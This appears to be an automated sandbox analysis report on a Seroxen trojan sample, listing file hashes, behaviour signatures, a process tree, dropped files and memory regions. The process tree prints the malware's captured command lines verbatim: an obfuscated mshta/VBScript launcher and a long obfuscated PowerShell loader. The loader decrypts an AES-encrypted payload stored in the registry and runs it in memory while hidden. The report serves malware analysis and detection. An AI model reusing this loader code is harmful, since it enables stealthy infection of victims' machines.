Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    04-02-2025 21:09

General

  • Target

    payload_1_sxr.exe

  • Size

    10.3MB

  • MD5

    a0986241fcfed849a9d1dce2466840de

  • SHA1

    6e47f0378ab7c921b3c04d29aae5de1415d1aaf8

  • SHA256

    ac562299cd216585d58cab4c435c1578f3e451820a4c0feb2d902d0662645446

  • SHA512

    8e192128a7be9b6b0857a3eca1a479ed28eaae2943ae1803fdd4b523c57e106f089c6b04cfe318a757171a3e52a603d91d395f94adbf9d5d5f300b3d91311ca4

  • SSDEEP

    49152:sKxzaVKJayp/GrDlGcfk/5ZRuUtNUDrTRaDqeF5gLRyoKq6XBkim7fEM27cIgpvW:sKxzcK

Malware Config

Signatures

  • Seroxen family
  • Seroxen, Ser0xen

    Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:432
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{9d08454f-bcb6-449d-8940-551cbc079432}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1984
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{e85a41a8-bc5e-479a-a18e-96dbbd842541}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2720
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{d03f92de-e819-42e2-8bf3-169297fdf2ba}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1408
    • C:\Users\Admin\AppData\Local\Temp\payload_1_sxr.exe
      "C:\Users\Admin\AppData\Local\Temp\payload_1_sxr.exe"
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Suspicious use of SetThreadContext
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1100
      • C:\Windows\SysWOW64\dllhost.exe
        C:\Windows\SysWOW64\dllhost.exe /Processid:{1475d315-b61f-41fa-9abc-b7526c246e42}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2496
      • C:\Windows\SysWOW64\dllhost.exe
        C:\Windows\SysWOW64\dllhost.exe /Processid:{b396f7b4-a54c-46da-9737-6d52ddcbf93d}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2748
      • C:\Windows\SysWOW64\dllhost.exe
        C:\Windows\SysWOW64\dllhost.exe /Processid:{84bc3a8f-e492-43ba-b7a1-f5c885afc4a0}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2744
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {D7329154-DA24-4876-9E55-C5ECD7F3F85D} S-1-5-21-2039016743-699959520-214465309-1000:PIDEURYY\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1976
      • C:\Windows\$sxr-mshta.exe
        C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-ArapbJcqiFeDiSwKsZvE4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2680
        • C:\Windows\$sxr-cmd.exe
          "C:\Windows\$sxr-cmd.exe" /c %$sxr-ArapbJcqiFeDiSwKsZvE4312:&#<?=%
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2796
          • C:\Windows\$sxr-powershell.exe
            C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function WDqsH($QqiMQ){ $yfdMg=[System.Security.Cryptography.Aes]::Create(); $yfdMg.Mode=[System.Security.Cryptography.CipherMode]::CBC; $yfdMg.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $yfdMg.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k9mQOFJphRVclvGMalqXgUPD/WUaQ9rWRelHL4q/nlo='); $yfdMg.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4IOG3S4On+LTwmQKwhpOeA=='); $dPssD=$yfdMg.('rotpyrceDetaerC'[-1..-15] -join '')(); $vbpQn=$dPssD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QqiMQ, 0, $QqiMQ.Length); $dPssD.Dispose(); $yfdMg.Dispose(); $vbpQn;}function ZbSkn($QqiMQ){ $aDlrM=New-Object System.IO.MemoryStream(,$QqiMQ); $PbRBT=New-Object System.IO.MemoryStream; $VprFY=New-Object System.IO.Compression.GZipStream($aDlrM, [IO.Compression.CompressionMode]::Decompress); $VprFY.CopyTo($PbRBT); $VprFY.Dispose(); $aDlrM.Dispose(); $PbRBT.Dispose(); $PbRBT.ToArray();}function cEHWM($QqiMQ,$bbJgy){ $TxSfZ=[System.Reflection.Assembly]::Load([byte[]]$QqiMQ); $tpznJ=$TxSfZ.EntryPoint; $tpznJ.Invoke($null, $bbJgy);}$yfdMg1 = New-Object System.Security.Cryptography.AesManaged;$yfdMg1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yfdMg1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yfdMg1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k9mQOFJphRVclvGMalqXgUPD/WUaQ9rWRelHL4q/nlo=');$yfdMg1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4IOG3S4On+LTwmQKwhpOeA==');$KRTqO = $yfdMg1.('rotpyrceDetaerC'[-1..-15] -join '')();$gcGOE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8n1l73NGddDdRxG42gPYiw==');$gcGOE = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gcGOE, 0, $gcGOE.Length);$gcGOE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gcGOE);$QRPDA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yGpDNlon+IGNZlDoKYh/CEYBRa4S+ZHu1B70zY9cwMA=');$QRPDA = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QRPDA, 0, $QRPDA.Length);$QRPDA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QRPDA);$GaeUG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rpm81cgQxWQeYHUZpMovqQ==');$GaeUG = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GaeUG, 0, $GaeUG.Length);$GaeUG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GaeUG);$eseMN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hUoupuHhMa4na+h2TJI0Er5Gc4kqi6sGr00/HWtfX8Be1iAlyWhtr/ObmiCu6xI5SnMUqTV6m6bwoUtMbLUtY10c8YBf6pNVSdWrzHM4pnXNzXKQ87RW7mPAAwKaunGhKVxZKkEG4xYtm99CWXDIEmqWLBWq+pXwJC9cihgZsZkfFDYobfwN0Z5xtciUZAwuyvzH60/cONCUWKrAzdP6Onkqh+zZZK2FHEPUbSyu/LnfAb4uax7uoqmEtzxZ/fW119dEan1fjkFCR79zzFDcZVYQUKiWqQqS2Ek/7qCwsuj3v515pNkWTi4TffhMgdakq6i1ZmYILogATm9MnWpE9PRpN1macB6SNTSAyN5cdpPNIn2ozbUfCnuzoDIEKsfOzpur/w7fB8G8GTAYZOwnVbj47WQDJKZeRt9vo9KqwIQ=');$eseMN = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eseMN, 0, $eseMN.Length);$eseMN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eseMN);$FuEBF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g6uAMApUxkExGGhM4FN3ZQ==');$FuEBF = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FuEBF, 0, $FuEBF.Length);$FuEBF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FuEBF);$YsLLR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DLgOUFYtRlYOUrIuUaKKdg==');$YsLLR = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YsLLR, 0, $YsLLR.Length);$YsLLR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YsLLR);$twswF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('izHZIeNsTWReQRqAPbaMbA==');$twswF = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($twswF, 0, $twswF.Length);$twswF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($twswF);$tuAlw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GX+xpROJQFGoaxfmnJNXow==');$tuAlw = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tuAlw, 0, $tuAlw.Length);$tuAlw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tuAlw);$ZBFmj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nVLeF6i1oCz901n7Ky8b2g==');$ZBFmj = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZBFmj, 0, $ZBFmj.Length);$ZBFmj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZBFmj);$gcGOE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F3VH0Tp8k7zoccwaIE4hKQ==');$gcGOE0 = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gcGOE0, 0, $gcGOE0.Length);$gcGOE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gcGOE0);$gcGOE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rF9tWOqGvlln0DPgm6Kvyg==');$gcGOE1 = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gcGOE1, 0, $gcGOE1.Length);$gcGOE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gcGOE1);$gcGOE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a0pcGJ1ctfG5WTMhMOT9Zw==');$gcGOE2 = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gcGOE2, 0, $gcGOE2.Length);$gcGOE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gcGOE2);$gcGOE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ndk0pwdH94NwFQHMwCgBcA==');$gcGOE3 = $KRTqO.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gcGOE3, 0, $gcGOE3.Length);$gcGOE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gcGOE3);$KRTqO.Dispose();$yfdMg1.Dispose();if (@(get-process -ea silentlycontinue $gcGOE3).count -gt 1) {exit};$SKaRD = [Microsoft.Win32.Registry]::$tuAlw.$twswF($gcGOE).$YsLLR($QRPDA);$lHaHc=[string[]]$SKaRD.Split('\');$gHUaE=ZbSkn(WDqsH([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lHaHc[1])));cEHWM $gHUaE (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wJhoA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lHaHc[0]);$yfdMg = New-Object System.Security.Cryptography.AesManaged;$yfdMg.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yfdMg.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yfdMg.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k9mQOFJphRVclvGMalqXgUPD/WUaQ9rWRelHL4q/nlo=');$yfdMg.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4IOG3S4On+LTwmQKwhpOeA==');$dPssD = $yfdMg.('rotpyrceDetaerC'[-1..-15] -join '')();$wJhoA = $dPssD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJhoA, 0, $wJhoA.Length);$dPssD.Dispose();$yfdMg.Dispose();$aDlrM = New-Object System.IO.MemoryStream(, $wJhoA);$PbRBT = New-Object System.IO.MemoryStream;$VprFY = New-Object System.IO.Compression.GZipStream($aDlrM, [IO.Compression.CompressionMode]::$gcGOE1);$VprFY.$ZBFmj($PbRBT);$VprFY.Dispose();$aDlrM.Dispose();$PbRBT.Dispose();$wJhoA = $PbRBT.ToArray();$mLeMR = $eseMN | IEX;$TxSfZ = $mLeMR::$gcGOE2($wJhoA);$tpznJ = $TxSfZ.EntryPoint;$tpznJ.$gcGOE0($null, (, [string[]] ($GaeUG)))
            4⤵
            • Executes dropped EXE
            • Hide Artifacts: Hidden Window
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2640

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Windows\$sxr-cmd.exe

      Filesize

      337KB

      MD5

      5746bd7e255dd6a8afa06f7c42c1ba41

      SHA1

      0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

      SHA256

      db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

      SHA512

      3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

    • C:\Windows\$sxr-mshta.exe

      Filesize

      13KB

      MD5

      95828d670cfd3b16ee188168e083c3c5

      SHA1

      83c70c66cd4e971be2e36efdc27fbcb7ff289032

      SHA256

      8c10ae4be93834a4c744f27ca79736d9123ed9b0d180db28556d2d002545baf2

      SHA512

      22be50366cf57fd3507760122ccaa3d74e6a137c2d46377597284d62762bfca740bed71ddc4eca60e4ba81055eb3d1bde34af382a2c4587ba9335d670d7f3b2e

    • C:\Windows\$sxr-powershell.exe

      Filesize

      462KB

      MD5

      852d67a27e454bd389fa7f02a8cbe23f

      SHA1

      5330fedad485e0e4c23b2abe1075a1f984fde9fc

      SHA256

      a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

      SHA512

      327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

    • memory/1100-41-0x0000000077720000-0x00000000778C9000-memory.dmp

      Filesize

      1.7MB

    • memory/1100-4-0x0000000000A00000-0x0000000000A56000-memory.dmp

      Filesize

      344KB

    • memory/1100-5-0x0000000002550000-0x00000000025A8000-memory.dmp

      Filesize

      352KB

    • memory/1100-6-0x0000000000950000-0x0000000000972000-memory.dmp

      Filesize

      136KB

    • memory/1100-7-0x0000000077720000-0x00000000778C9000-memory.dmp

      Filesize

      1.7MB

    • memory/1100-78-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

      Filesize

      9.9MB

    • memory/1100-61-0x0000000077720000-0x00000000778C9000-memory.dmp

      Filesize

      1.7MB

    • memory/1100-8-0x0000000077500000-0x000000007761F000-memory.dmp

      Filesize

      1.1MB

    • memory/1100-42-0x0000000077500000-0x000000007761F000-memory.dmp

      Filesize

      1.1MB

    • memory/1100-3-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

      Filesize

      9.9MB

    • memory/1100-2-0x00000000008A0000-0x0000000000944000-memory.dmp

      Filesize

      656KB

    • memory/1100-1-0x000000013FAC0000-0x000000014050E000-memory.dmp

      Filesize

      10.3MB

    • memory/1100-32-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

      Filesize

      9.9MB

    • memory/1100-0-0x000007FEF5E13000-0x000007FEF5E14000-memory.dmp

      Filesize

      4KB

    • memory/1100-31-0x000007FEF5E13000-0x000007FEF5E14000-memory.dmp

      Filesize

      4KB

    • memory/1100-11-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

      Filesize

      9.9MB

    • memory/1100-10-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

      Filesize

      9.9MB

    • memory/1100-9-0x0000000000970000-0x000000000097A000-memory.dmp

      Filesize

      40KB

    • memory/1984-15-0x0000000140000000-0x0000000140004000-memory.dmp

      Filesize

      16KB

    • memory/1984-12-0x0000000140000000-0x0000000140004000-memory.dmp

      Filesize

      16KB

    • memory/2496-21-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2496-17-0x0000000000400000-0x0000000000406000-memory.dmp

      Filesize

      24KB

    • memory/2496-18-0x0000000000400000-0x0000000000406000-memory.dmp

      Filesize

      24KB

    • memory/2496-19-0x0000000000400000-0x0000000000406000-memory.dmp

      Filesize

      24KB

    • memory/2496-20-0x0000000000400000-0x0000000000406000-memory.dmp

      Filesize

      24KB

    • memory/2496-16-0x0000000000400000-0x0000000000406000-memory.dmp

      Filesize

      24KB

    • memory/2496-22-0x0000000000400000-0x0000000000406000-memory.dmp

      Filesize

      24KB

    • memory/2496-24-0x0000000000400000-0x0000000000406000-memory.dmp

      Filesize

      24KB

    • memory/2640-39-0x000000001B9C0000-0x000000001BCA2000-memory.dmp

      Filesize

      2.9MB

    • memory/2640-40-0x0000000000370000-0x0000000000378000-memory.dmp

      Filesize

      32KB

    • memory/2744-75-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2748-54-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB